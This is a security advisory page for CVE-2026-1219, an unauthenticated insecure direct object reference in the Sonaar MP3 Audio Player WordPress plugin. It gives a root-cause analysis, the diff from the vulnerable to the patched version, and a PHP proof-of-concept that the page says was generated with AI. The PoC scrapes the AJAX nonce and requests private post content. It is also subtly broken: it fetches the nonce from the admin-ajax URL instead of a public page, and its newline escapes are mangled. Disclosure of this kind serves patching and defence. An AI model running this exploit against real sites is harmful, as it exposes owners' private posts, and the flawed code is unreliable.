Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1219: MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar 4.0 – 5.10 – Unauthenticated Insecure Direct Object Reference to Sensitive Information Exposure (mp3-music-player-by-sonaar)

CVE ID CVE-2026-1219
Severity Medium (CVSS 5.3)
CWE 639
Vulnerable Version 5.10
Patched Version 5.11
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1219:
This vulnerability is an unauthenticated Insecure Direct Object Reference (IDOR) in the MP3 Audio Player by Sonaar WordPress plugin, affecting versions 4.0 through 5.10. The flaw allows attackers to retrieve the content of private posts via a missing access control check in an AJAX handler.

Root Cause: The vulnerability exists in the `load_track_note_ajax_callback()` function within the main plugin file `sonaar-music.php`. The function at lines 175-195 (pre-patch) accepts user-controlled `post-id` and `track-position` parameters via the `load_track_note_ajax` AJAX action. The function directly passes these parameters to `get_post()` and `get_post_meta()` without verifying the requesting user has permission to access the specified post. The `wp_ajax_nopriv_` hook registration permits unauthenticated access.

Exploitation: Attackers send a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `load_track_note_ajax`. They supply a target `post-id` parameter containing the numeric ID of a private post and a `track-position` parameter (often 0 for single-track posts). The request must include a valid `nonce` parameter matching `sonaar_music_ajax_nonce`. The plugin then returns the post content or track description.

Patch Analysis: The patch in `sonaar-music.php` lines 175-195 adds multiple security controls. It validates `post-id` using `absint()` and checks for a zero value. It introduces a post status check: if the post status is not ‘publish’, the function verifies the user is logged in and has the `read_post` capability for that specific post ID via `current_user_can(‘read_post’, $post_id)`. The patch also replaces `sanitize_text_field()` with `wp_kses_post()` for output sanitization and uses `absint()` on the track position.

Impact: Successful exploitation allows unauthenticated attackers to read the full content of private WordPress posts, including draft posts, pending reviews, and password-protected posts. This exposes sensitive information intended for limited audiences, violating confidentiality. The CVSS 5.3 score reflects medium severity due to the attack complexity requiring a valid nonce and the impact being limited to information disclosure.

Differential between vulnerable and patched code

Code Diff
--- a/mp3-music-player-by-sonaar/admin/class-sonaar-music-admin.php
+++ b/mp3-music-player-by-sonaar/admin/class-sonaar-music-admin.php
@@ -8221,7 +8221,7 @@
                     'default'           => sprintf(
                          /* translators: %1$s: company name, %2$s: section spacing, %3$s: effective date, %4$s: producer name, %5$s: licensee name, %6$s: licensee address, %7$s: beat title, %8$s: payment type, %9$s: section break, %10$s: may or may not (conditional text), %11$s: number of radio stations, %12$s: number or name of an audiovisual work, %13$s: number of allowed downloads, %14$s: number of allowed monetized streams, %15$s: number of allowed monetized video streams, %16$s: number of allowed free downloads, %19$s: section header, %20$s: colon after section header, */
                          esc_html__('%1$s
-%2$sThis License Agreement (the “Agreement”), having been made on and effective as of %3$s (the “Effective Date”) by and between %4$s (the “Producer” or “Licensor”); and you, %5$s (“You” or “Licensee”), residing at %6$s, sets forth the terms and conditions of the Licensee’s use, and the rights granted in, the Producer’s instrumental music file entitled %7$s (the “Beat”) in consideration for Licensee’s payment, on a so-called “%8$s” basis.%9$s
+%2$sThis License Agreement (the “Agreement”), having been made on and effective as of %3$s (the “Effective Date”) by and between %4$s (the “Producer” or “Licensor”); and you, %5$s (“You” or “Licensee”), residing at %6$s, sets forth the terms and conditions of the Licensee’s use, and the rights granted in, the Producer’s instrumental music file entitled %7$s (the “Beat”) in consideration for Licensee’s payment.%9$s

 %2$sThis Agreement is issued solely in connection with and for Licensee use of the Beat pursuant and subject to all terms and conditions set forth herein.%9$s

--- a/mp3-music-player-by-sonaar/includes/class-sonaar-music-widget.php
+++ b/mp3-music-player-by-sonaar/includes/class-sonaar-music-widget.php
@@ -784,7 +784,6 @@
         $trackIndexRelatedToItsPost = 0; //variable required to set the data-store-id. Data-store-id is used to popup the right content.
         $currentTrackId = ''; //Used to set the $trackIndexRelatedToItsPost
         $trackNumber = 0; // Dont Count Relataded track
-        $trackCountFromPlaylist = 0; //Count tracks from same playlist
         $playlistID = '';
         $excerptTrimmed = '[...]';
         $playlist_has_ctas = false;
@@ -805,19 +804,6 @@
             if(! isset( $track['poster'] ) || $track['poster'] === null){
                 $track['poster'] = '';
             }
-            if( $playlistID == $track['sourcePostID'] ){
-                $trackCountFromPlaylist++;
-            }else{
-                $playlistID = $track['sourcePostID'];
-                $trackCountFromPlaylist = 0;
-                if( $this->getOptionValue('reverse_tracklist') ){ //If reverse track list order is enable, start to count (the incrementation) from the number of track the playlist post has (in negative) rather than 0
-                    $i = $key1 + 1;
-                    while (  $i < (count( $playlist['tracks'] )) && $playlist['tracks'][$i]['sourcePostID'] == $playlistID ) {
-                    $i++;
-                    $trackCountFromPlaylist--;
-                    }
-                }
-            }

             $relatedTrack = ( Sonaar_Music::get_option('sticky_show_related-post', 'srmp3_settings_sticky_player') != 'true' || $terms || in_array($track['sourcePostID'], $allAlbums) || $feed || $this->shortcodeParams['albums'] == 'all' || !$single_playlist)? false : true; //True when the track is related to the selected playlist post as episode podcast from same category
             $storeButtonPosition[$key1] = [];
@@ -893,7 +879,8 @@
             $trackLinkedToPost = ( isset( $track['sourcePostID'] ) && $this->getOptionValue('post_link') && ( get_post_type() != 'product' || isset($this->shortcodeParams['post_link']) && filter_var($this->shortcodeParams['post_link'], FILTER_VALIDATE_BOOLEAN) ) ) ? get_permalink($track['sourcePostID']) : false; //Disable post link if the widget is used in a product page, except if the "post_link" option is set to true in the widget settings
             $trackTitle = esc_html($track['track_title']);
             $trackTitle .= ( Sonaar_Music::get_option('show_artist_name', 'srmp3_settings_general') )?  '<span class="srp_trackartist">' . esc_html($artistSeparator_string) . esc_html($track['track_artist']) .'</span>': '';
-            $noteButton =  $this->addNoteButton($track['sourcePostID'], abs($trackCountFromPlaylist), $trackTitle, $trackdescEscapedValue, $excerptTrimmed, $track_desc_postcontent ); // We are using abs() here, because when the "reverse order" option is enable, the "$trackCountFromPlaylist" variable has a negative value
+            $noteButton =  $this->addNoteButton($track['sourcePostID'], $track['track_pos'], $trackTitle, $trackdescEscapedValue, $excerptTrimmed, $track_desc_postcontent );
+
             $playlistItemClass = (isset($trackdescEscapedValue) || $noteButton != null ) ? 'sr-playlist-item' : 'sr-playlist-item sr-playlist-item-flex';
             if( isset($track['user_has_purchased']) ){
                 $playlistItemClass .= ' srp_track_purchased';
@@ -1150,7 +1137,7 @@
                 }

                 if(function_exists('acf')){
-                    if(is_array(get_fields($postid, true))){
+                    if( !empty($postid) && is_numeric($postid) && is_array(get_fields($postid, true))){
                         foreach (get_fields($postid, true) as $key => $value) {
                             if(is_array($value) && (isset($value[0]) && is_string($value[0]))){ // Prevent array values
                                 $value = implode(', ', $value );
--- a/mp3-music-player-by-sonaar/sonaar-music.php
+++ b/mp3-music-player-by-sonaar/sonaar-music.php
@@ -16,7 +16,7 @@
  * Plugin Name:       MP3 Audio Player by Sonaar
  * Plugin URI:        https://sonaar.io/mp3-audio-player-pro/?utm_source=Sonaar+Music+Free+Plugin&utm_medium=plugin
  * Description:       The most popular and complete Music & Podcast Player for WordPress.
- * Version:           5.10
+ * Version:           5.11
  * Author:            Sonaar Music
  * Author URI:        https://sonaar.io/?utm_source=Sonaar%20Music%20Free%20Plugin&utm_medium=plugin
  * License:           GPL-2.0+
@@ -30,8 +30,8 @@
 	die;
 }

-define('SRMP3_VERSION', '5.10'); // important to avoid cache issues on update
-define('SRMP3_PRO_MIN_VERSION', '5.10'); // Minimum pro version required
+define('SRMP3_VERSION', '5.11'); // important to avoid cache issues on update
+define('SRMP3_PRO_MIN_VERSION', '5.11'); // Minimum pro version required
 if ( !defined( 'SRMP3_DIR_PATH' ) ) {
     define( 'SRMP3_DIR_PATH', plugin_dir_path( __FILE__ ) );
 }
@@ -175,52 +175,95 @@

 add_action('wp_ajax_load_track_note_ajax', 'load_track_note_ajax_callback');
 add_action('wp_ajax_nopriv_load_track_note_ajax', 'load_track_note_ajax_callback');
-
+
 function load_track_note_ajax_callback() {
 	check_ajax_referer('sonaar_music_ajax_nonce', 'nonce');
-
-	if($_POST['track-desc-postcontent'] == '1'){
-		$postobj = get_post(sanitize_text_field($_POST['post-id']));
-		$description = sanitize_text_field($postobj->post_content);
-	}else{
-		$postobj = get_post_meta(sanitize_text_field($_POST['post-id']), 'alb_tracklist', true );
-		$description = $postobj[sanitize_text_field($_POST['track-position'])]['track_description'];
+
+	$post_id = absint($_POST['post-id']);
+	if (!$post_id) {
+		wp_send_json_error('Invalid post ID');
 	}
-	echo wp_json_encode( '<div class="srp_note_title">' . sanitize_text_field(stripslashes($_POST['track-title'])) . '</div>'. $description );
-
+
+	if (!empty($_POST['track-desc-postcontent']) && $_POST['track-desc-postcontent'] == '1') {
+
+		$postobj = get_post($post_id);
+		if (!$postobj) {
+			wp_send_json_error('Post not found');
+		}
+
+		if ($postobj->post_status !== 'publish') {
+			if (!is_user_logged_in() || !current_user_can('read_post', $post_id)) {
+				wp_send_json_error('Permission denied');
+			}
+		}
+
+		$description = wp_kses_post($postobj->post_content);
+
+	} else {
+
+		$tracks = get_post_meta($post_id, 'alb_tracklist', true);
+		$track_position = absint($_POST['track-position']);
+
+		if (!isset($tracks[$track_position]['track_description'])) {
+			wp_send_json_error('Track not found');
+		}
+
+		$description = wp_kses_post($tracks[$track_position]['track_description']);
+	}
+
+	echo wp_json_encode(
+		'<div class="srp_note_title">' .
+		sanitize_text_field(stripslashes($_POST['track-title'])) .
+		'</div>' .
+		$description
+	);
+
 	wp_die();
 }

 add_action('wp_ajax_load_lyrics_ajax', 'load_lyrics_ajax_callback');
-add_action('wp_ajax_nopriv_load_lyrics_ajax', 'load_lyrics_ajax_callback');
+
 function load_lyrics_ajax_callback() {
     check_ajax_referer('sonaar_music_ajax_nonce', 'nonce');
-	$ttml_content = get_post_meta(sanitize_text_field($_POST['post-id']), 'sr_sonaar_tts_post_ttml', true); // coming from TTS Plugin
-    $postmeta = get_post_meta(sanitize_text_field($_POST['post-id']), 'alb_tracklist', true);

-    if (isset($postmeta[sanitize_text_field($_POST['track-position'])]['track_lyrics']) || $ttml_content) {
-        $ttml_content = ($ttml_content) ? $ttml_content : $postmeta[sanitize_text_field($_POST['track-position'])]['track_lyrics'];
-        $response = wp_remote_get($ttml_content, array('sslverify' => false));
+    if (!current_user_can('manage_options')) {
+        wp_send_json_error('Permission denied');
+    }
+
+    $post_id = absint($_POST['post-id']);
+    if (!$post_id) {
+        wp_send_json_error('Invalid post ID');
+    }
+
+    $track_position = isset($_POST['track-position']) ? absint($_POST['track-position']) : null;
+
+    $ttml_content = get_post_meta($post_id, 'sr_sonaar_tts_post_ttml', true);
+    $postmeta = get_post_meta($post_id, 'alb_tracklist', true);
+
+    if (
+        $ttml_content ||
+        ($track_position !== null && isset($postmeta[$track_position]['track_lyrics']))
+    ) {
+        $ttml_content = $ttml_content ?: $postmeta[$track_position]['track_lyrics'];
+
+        if (!filter_var($ttml_content, FILTER_VALIDATE_URL)) {
+            wp_send_json_error('Invalid URL');
+        }
+
+        $response = wp_safe_remote_get($ttml_content, array(
+            'timeout' => 5,
+        ));

         if (is_wp_error($response)) {
-            $error_response = array(
-                'error' => 'Failed to retrieve lyrics. Error: ' . $response->get_error_message()
-            );
-            echo wp_json_encode($error_response);
-        } else {
-			$body = wp_remote_retrieve_body($response);
-			//$response_code = wp_remote_retrieve_response_code($response);
-			//error_log('Lyrics Response Code: ' . $response_code);
-            echo wp_json_encode($body);
+            wp_send_json_error($response->get_error_message());
         }
+
+        echo wp_json_encode(wp_remote_retrieve_body($response));
     } else {
-        // Return a JSON response indicating that the key is not set
-        $error_response = array(
-            'error' => 'The key "track_lyrics" is not set or is undefined.'
-        );
-        echo wp_json_encode($error_response);
+        wp_send_json_error('Lyrics not found');
     }

     wp_die();
 }

+

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1219 - MP3 Audio Player – Music Player, Podcast Player & Radio by Sonaar 4.0 - 5.10 - Unauthenticated Insecure Direct Object Reference to Sensitive Information Exposure
<?php
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';

// Step 1: First request to obtain a valid nonce from a public page
$home_response = file_get_contents($target_url . '/');
preg_match('/"sonaar_music_ajax_nonce":"([a-f0-9]+)"/', $home_response, $matches);
if (empty($matches[1])) {
    die('Could not extract nonce from page.');
}
$nonce = $matches[1];

// Step 2: Craft the exploit request for a private post ID
$post_id = 123; // Change this to target private post ID
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'load_track_note_ajax',
    'nonce' => $nonce,
    'post-id' => $post_id,
    'track-position' => 0,
    'track-desc-postcontent' => 1,
    'track-title' => 'Exploit'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Parse and display the private post content
$data = json_decode($response, true);
if ($data) {
    echo "Private post content for ID {$post_id}:n";
    echo htmlspecialchars($data) . "n";
} else {
    echo "Exploit failed or post not accessible.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School